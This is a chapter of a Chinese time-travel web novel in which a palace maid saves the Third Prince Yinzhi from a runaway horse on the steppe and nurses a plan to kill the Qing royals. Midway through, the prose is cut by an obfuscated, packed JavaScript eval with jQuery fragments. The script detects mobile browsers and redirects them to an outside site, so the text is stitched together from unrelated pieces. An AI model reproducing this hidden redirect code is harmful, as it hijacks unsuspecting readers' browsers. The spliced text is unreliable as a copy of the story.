胤祉差点把茶水吐了出去。
关键是林顽霜还真能搭上话:“吃了,妹子你在这里可习惯?”
林天由摇摇头:“不大习惯,太干了。”
荒莽草原啊,也算是见识了。
林顽霜就从衣服里摸了个小盒出来,打开了,放到林天由面前:“妹子,这是我在那些蛮夷手上缴的羊脂膏,是好东西,擦在脸上手上,就没那么干燥了。”
林天由笑了笑,把兄长的好意收下了。
“嫂子在家可还好?日后有机会,一定看望看望。”
林顽霜点点头:“你嫂子是老实厚道的人,等打完了仗,我带着你嫂子回杭州看看爹娘去。”
“应当的。”
又沉默了会儿,林顽霜那张干巴巴的脸上露出些欣喜之意:“妹子,站起来给哥哥看看。”
林天由就笑着站起来,还转一圈。
其实在旁边的三阿哥胤祉觉得有点难以直视,都说是汉女以弱柳扶风为美,林天由不仅不弱柳,看起来能把柳树劈了砍柴,看起来这些年在宫里,她倒是日子过得不错。
没成想林顽霜很满意,大声赞叹道:“好!这身板好,日后哥哥也不担心你受人欺负了。”
林天由也有些自得,骄傲的小眼神看她哥:“放心吧,还没谁欺负过我。”
三阿哥胤祉咳了咳。
林天由真想翻白眼,纯纯有病的家伙,炫耀当初他让自己挨了巴掌是不是。
能聊的都聊得差不多了,林顽霜是个实在人,他还忙着呢,就先行告退了。
三阿哥胤祉凉悠悠地说:“都说皇家无情,我看你和你兄长是根本不熟。”
林天由不在意地点点头:“我五六岁的时候他就参军了,如今我入宫五年了,他参军十来年了,连家里的话都说不上,也是正常。”
三阿哥低头啜口茶:“这么说你们林家还为了我大清抛头颅洒热血了?”
林天由听到这话就恼火起来了。
干脆不回答他的话,只自顾自去干活。
胤祉是真的嘴巴贱,要是以古人的思维,林天由还真可以这样回答一句:就是,怎么着。
偏偏她是个后世人,听起来就难免是个高高在上的奴隶主对奴隶的家族嘘寒问暖了。
林天由恼火也是有恼火的道理。
不过一会儿她就想好了,反正等她爬上去了,别说三阿哥这个死奴隶主了,全清廷皇族都死绝了,她才勉强满意。
胤祉再喊她,她也不答应,他原本想教训教训这小贱人的,谁知道文书又下来了,胤祉就只能忙着处理公务去了。
再说,就算是真的有时间教训林天由,他也不会把她打死,最多弄个半死,因为在战场上打死了随行的宫女,是很不好的举动。
康熙帝知道了都指不定要骂他一顿。
虽然宫女死了,可他三皇子是要挨骂的,当然就不合算了。
于是这一晚上都再没有说话,林天由仍然是该干的事情干了,让胤祉也无话可讲。
这日午膳时候,林天由和另一个宫女在布菜,突然听到军帐外很大的马儿嘶吼声,肯定是被吓到了。
接着就只听见那些军汉的喊声。
“快追!三爷的马受惊了!”
林天由一听,脸色马上变了,当即跑出军帐,从还愣着的小兵手里接过了马上,翻身上马的动作都极利索。
那些军汉也是追着老三的方向去的。
林天由便转头喝一声:“刀给我!”
有军汉把大刀给她。
林天由抽刀,戳在马屁股上,马儿吃痛得很,一下子追上了前面的军汉。
骑马追三阿哥的军汉也是一个个都被吓到了,只暗自思量道,这女子倒是胆子大得吓死人,这样玩的话,只怕要被马儿颠一个五脏六腑都移位。
因为三阿哥的坐骑本来也不同凡响,加上受了惊吓,更是没人追得上,渐渐的,林天由就追着三阿哥,和后面的人拉开了差距。
胤祉本就拼命地想拉住马,偏偏这畜生混劲儿上来了,越是拉越发狠,跑成这样,他就更不可能下马了,他可不想落个什么残疾。
直到后面由远及近有人的喊声。
那声音胤祉还很讨厌。
他侧头看追上来的女子。
只见到她手上握着大刀,一只攥着缰绳,已经奔得发丝凌乱,身板极结实矫健,在那样颠簸的马背上也安稳如山,更加上神情着急,顿时让胤祉心里一阵不明不白的奇怪。
只想问这个奇怪的奴才,你为什么要这样,你为什么这么不要命。
可惜就算他问了,林天由也是不做答的。
林天由手上的刀又是狠狠一戳,马儿流出泪来,死前拼了命地跑,想把身上这个坏人颠下来。
便快要赶上胤祉那匹神骏宝马了。
林天由把刀扔了,伸出手:“抓住!”
三阿哥胤祉一辈子没这么惊心动魄,也没在这种关头相信过敌人。
可他必须伸出手。
林天由两只手拽住他,瞬间将人拉到了马背上。
林天由没想到自己运气这么好,选的是一匹乖乖的好马。
她收紧缰绳,要停下,那马儿便嘶吼着停下脚步。
三阿哥赶紧下了马,林天由的双手有些无力地垂了下来。
胤祉是善于察言观色的人,一下子便接住她。
马儿跪倒在草原里。
林天由的脸颊湿了,泪一颗颗地掉下来。
她也跪下来,因为手上没有力气了,很可能是刚刚抓住胤祉的时候用力过度,弄得脱臼了,所以抱不了马儿的头,只能靠近了它,脸颊蹭一蹭这匹好马。
这牲口漂亮的大眼睛,黑黑幽深的,也带着泪看她。
林天由说:“马儿马儿对不起。”
胤祉也在一旁跪了下来,是为了他的救命恩公,也是为了这一刻莫名的心酸。
林天由看着它的眼睛,实在是觉得自己可恨,马儿太可怜。
可这是她不得不做的。
为了达成目的,不知道还要牺牲多少。
林天由想,她早做好了成为罪人的准备。
可她的心始终是有良知的,这叫她怎么能不哭呢。
那泪水涟漪,掉在马儿柔软美丽的棕色皮毛之间,像湖泊落进了毛茸茸的海。
只是马儿身下还淌着血,马儿跑得太快,就把自己的五脏六腑弄坏了,它最后看了一眼这个坏人。
它也流下了泪。
林天由靠到马儿暖暖的带着气味的大头上,难过得不知道怎么说。
胤祉在旁边,默默把身上的外衣脱了,盖在马儿上,挡住荒莽草原太伤人的风沙。
直到林天由再睁开眼,她说:“去把刀捡回来。”
三阿哥胤祉是多么聪慧的人,他马上说:“不捡。”
林天由就自己站起来,自己去捡。
胤祉真的觉得她太奇怪,太不可理喻了。他拽着林天由大喊:“你疯了!你舍不得,你还要干什么!”
你明明舍不得,明明很心痛,你为什么还要这样,为什么还要把刀拿回来,去砍那匹很好的马。
林天由红的眼睛看他:“那我们吃什么?”
胤祉气急,一时被她哽住了,居然大喊大叫道:“那你咬我,我的命是你救的!”
林天由冷笑起来,仍然要去捡那把刀,胤祉真想把她打晕过去,偏偏他的理智告诉他,如果林天由晕过去了,他是万万不能拖着她还能在这荒莽草原里活着的。
胤祉扯住她,总之不让她去捡刀。
林天由深深看着他:“你想死,我却不想死。”
“你不怕死来救我干什么。”
“你以为你出事了,我们能好好活着?”
胤祉无话可回答,只能跟在她身后,亦步亦趋的。
林天由仍然把刀拿着了,却不动马儿,她看胤祉:“要是快饿死了,我就咬死你。”
胤祉冷笑:“应当的。”
随后他到那马儿尸体边上去,咬破手指,在自己留下的外衫上写下:大清皇三子爱新觉罗·胤祉救命恩公。
再将外衫压到马儿身下,免得被风吹走了。
那是满语写的,林天由不知道意思,问了胤祉才知道。
朝着回去的方向走了一会儿,胤祉默默跟在林天由身边。
这里的地形其实算是平坦,但多有些缓坡,地上植被稀疏得很,水源却不怕,好找。有水在,两个人就算是松了口气,在这迷路的情况下,水就是最最重要的。
甚至于林天由已经做好了,万一没有水源,她就真的回头去喝马血的准备。
三阿哥还有用,再说,她不把他带回去,那她吃的苦不白费了?真的带回去了,她才能继续她的刺杀大业。
可两个人仍然迷惘,因为在这路途中,最关键的是那种未知感。在哪里都一样,就连一直走的回去的方向,都有些让人不敢相信了。
这女子仰天看了看,叹口气。原本一向利落整洁的面孔也难免凌乱了,脸颊沾了些灰,眼神还是有股子劲儿的,绝不认输,绝不服输。
相比之下,三阿哥胤祉就显得狼狈多了。
他是娇生惯养的,就算康麻子对皇子没有过多溺爱,当然,他亲手带大的太子除外,那三阿哥也是紫禁城里出来的,他又一向专精于文化事业,就自然有些文人气息了。
所以现在的情况,是林天由一个宫女撑着他这个皇子往前继续走。
她说:“如果死了,三阿哥,我想,死前我们是要化解恩怨的。”
这声音不骄不躁,很平静又温和,好像真是发自肺腑似的。
说着,她把手伸出来:“交个朋友。”
胤祉扯一下嘴角:“你胆子真大,敢跟皇子做朋友。”
这毕竟是皇权最为集中的年代,别说跟皇子交朋友了,宫女稍有差错,就可能死,所以胤祉自然觉得林天由胆子大了。
林天由笑道:“你出去以后翻脸不认人不就行了。”
胤祉瞪她一眼,意思是他也没到那种下贱地步。
毕竟他也是读书人,也有文人风骨,救命恩人,他如何能不答应这个请求。
于是胤祉握住她伸出来的手,只轻轻一下,虽然也听说过那些西洋人的奇怪礼节,但还是觉得很怪。
到了这个地步,三阿哥胤祉到底是要服软的:“以前那事,是我错了。”
说的是他为难八阿哥,林天由为八阿哥出头,被狠狠掌掴的陈年旧事。
她就捂着脸颊,做出很痛的样子。
林天由好奇道:“你针对八阿哥干什么。”
“看不惯他那假惺惺的样子。”
“假不假,我不评价,可你想想,他以后势必要败在这上面的。”
胤祉看她一眼,很有点意外:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433981|184928||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“怎么会,我看他现在繁花锦簇的。”
林天由就觉得,这读书人就是头脑简单,怪不得三阿哥胤祉的下场就那样。
“嗨,一直都是八佛爷的话,哪天八佛爷不是佛了,要杀生,你猜会不会被教徒活活按下去。”
八阿哥落败的原因,其实压根不是他的身世,什么他不受宠。
最重要的原因是,他管不了身边人,因为他从小被架着的“善良”,长大后,又如何能够威慑那些文武百官,他们个个有自己的心思。
康麻子选老四的意图很简单,就是要他的铁面,要他的冷硬,比起康熙,雍正是让大臣怕的那种君主。
当然,雍正的风评也在文人里不大好,然而后世算是给他平反了,很有一种言论,说清朝也就雍正一个皇帝能看,林天由不予置评,不过这种说法也表明了后世人对他的评价的变化。
胤祉想一想,还真的是,他又意外地看着林天由,手指着她鼻子:“后宫不得干政。”
林天由没耐心地打他的手:“天天看,瞎子也得在心里猜一猜好吗。”
“出去以后,你想要什么奖赏。”
“我想吃牛奶炖蛋。”
“没出息。”
“我要吃红烧肉!”
“庸俗。”
“我要吃龙肉!”
“林添釉!你想死了!”
想死的林天由没有真死,当然,三阿哥也没有。
其实她不追出去还好,一追出去,如果她活着回去,三阿哥下落不明,那就是真可以准备洗洗砍脖子了。
只是终于找到的这二人,却不像军汉们想象的,什么抱在一起,衣衫不整,你侬我侬。
反而离得远得很,好像都有怨气似的,脸都往两个方向转。
衣衫不整也是真的,不过没有一丝艳情,只有乞丐似的狼狈。
“奴才见过三爷!”
三阿哥胤祉想摆个谱吧,张嘴风吸进去了,呛得咳嗽,林天由在旁边笑哈哈。
胤祉的眼神能杀人,什么也不说了,给前面的将领一个眼神,翻身上了马。
三阿哥上马以后没有立即就走,因为他突然想起来了,某位恩人朋友,现在手还没好。
他们也不过失踪了大半天,到现在还有些晚霞的余辉,落到那个在马前的女人身上。
胤祉余光看着她。
其实他心里也在思量,毕竟林天由是为了救他受伤的,要是她上不去,他胤祉自然不管什么男女大防。
只是这四周人多眼杂,一旦落人口实了,只怕对林天由不利。
林天由对着四周笑一笑,也没别的意思,就是很得意的样子。
她说:“给我拿个板凳来。”
众人倒。
胤祉解释了一番林天由为了他把手弄脱臼了,便有小兵跪在地上,让她踩着背,又有人扶着,林天由才终于上了马。
但这样怕是队列的速度就慢下来了,谁知道林天由那匹马还走得不算慢,在前面的胤祉回头看,发现人咬着缰绳呢。
胤祉:……
有的时候真不知道这女人到底在想什么。
说到底,还是不能太快了的,不然林天由上身再稳也要晃下来了。
于是走到了凌晨,终于得了救星,林天由的兄长来接人了。
她就由林顽霜带着,比先前的行军速度不知道快了多少。
在这难得的兄妹时光里,林天由看着他的下巴,她说:“哥哥,倘若我是个不省心的,以后就劳烦你和嫂子照顾爹娘了。”
林顽霜难免讶异:“天由,你是最乖不过的,怎么说这个话?”
林天由笑一笑:“天有不测风云罢了。”
林顽霜便点头:“也是,你放心,要做什么,不要害怕,哥哥能的,一定助力你。”
女人就仰天笑一声:“我不要好风凭借力。”
“世人都说神仙好,唯有功名忘不了,妹子,你不要好风要什么?”
林天由说:“我要翻江倒海。”
我要扭转乾坤。
风算什么,浪算什么,把天烧破,把海捅穿。
天破了,如果它之下的生灵都过得更好,那么它破得好!
海枯了,如果四海苍生可得解脱,那么它死得妙。
唯有一点,林天由也日日夜夜问自己,在她的手上,能不能做得比如今更好,世人会想,会问,为什么把一代明君圣主杀在她手,为什么把一代切实爱民的君王扼杀潜邸。
林天由什么也不能说,只能自认其罪。
既然要做蝴蝶,那就该忍受浮沉风雨。
日头破晓时,他们回到营地。
林天由看着那将出未出的稀薄日光,金灿灿火红一片的天是预兆。
林天由也曾想过,她什么也不干,混混日子,写些书册传下去,若是有人看到了,她就算是尽了努力。
又或者养育子弟,亲手教导。
可无论如何,她不能相信这些生在大清,长在大清的人,不是看不起,是事实复杂,本就是风云涌动的时代,天知道他们信不信林天由的鬼话。
那林天由就自己来。
她自己斗,自己去抢。
太阳已经冒了个圆滚滚的的边儿,可爱的。
林天由便带着笑回到了自己的榻上。
这一觉无夜无魅,只有帐外暖洋洋的太阳,把地上的每一寸都照得亮堂。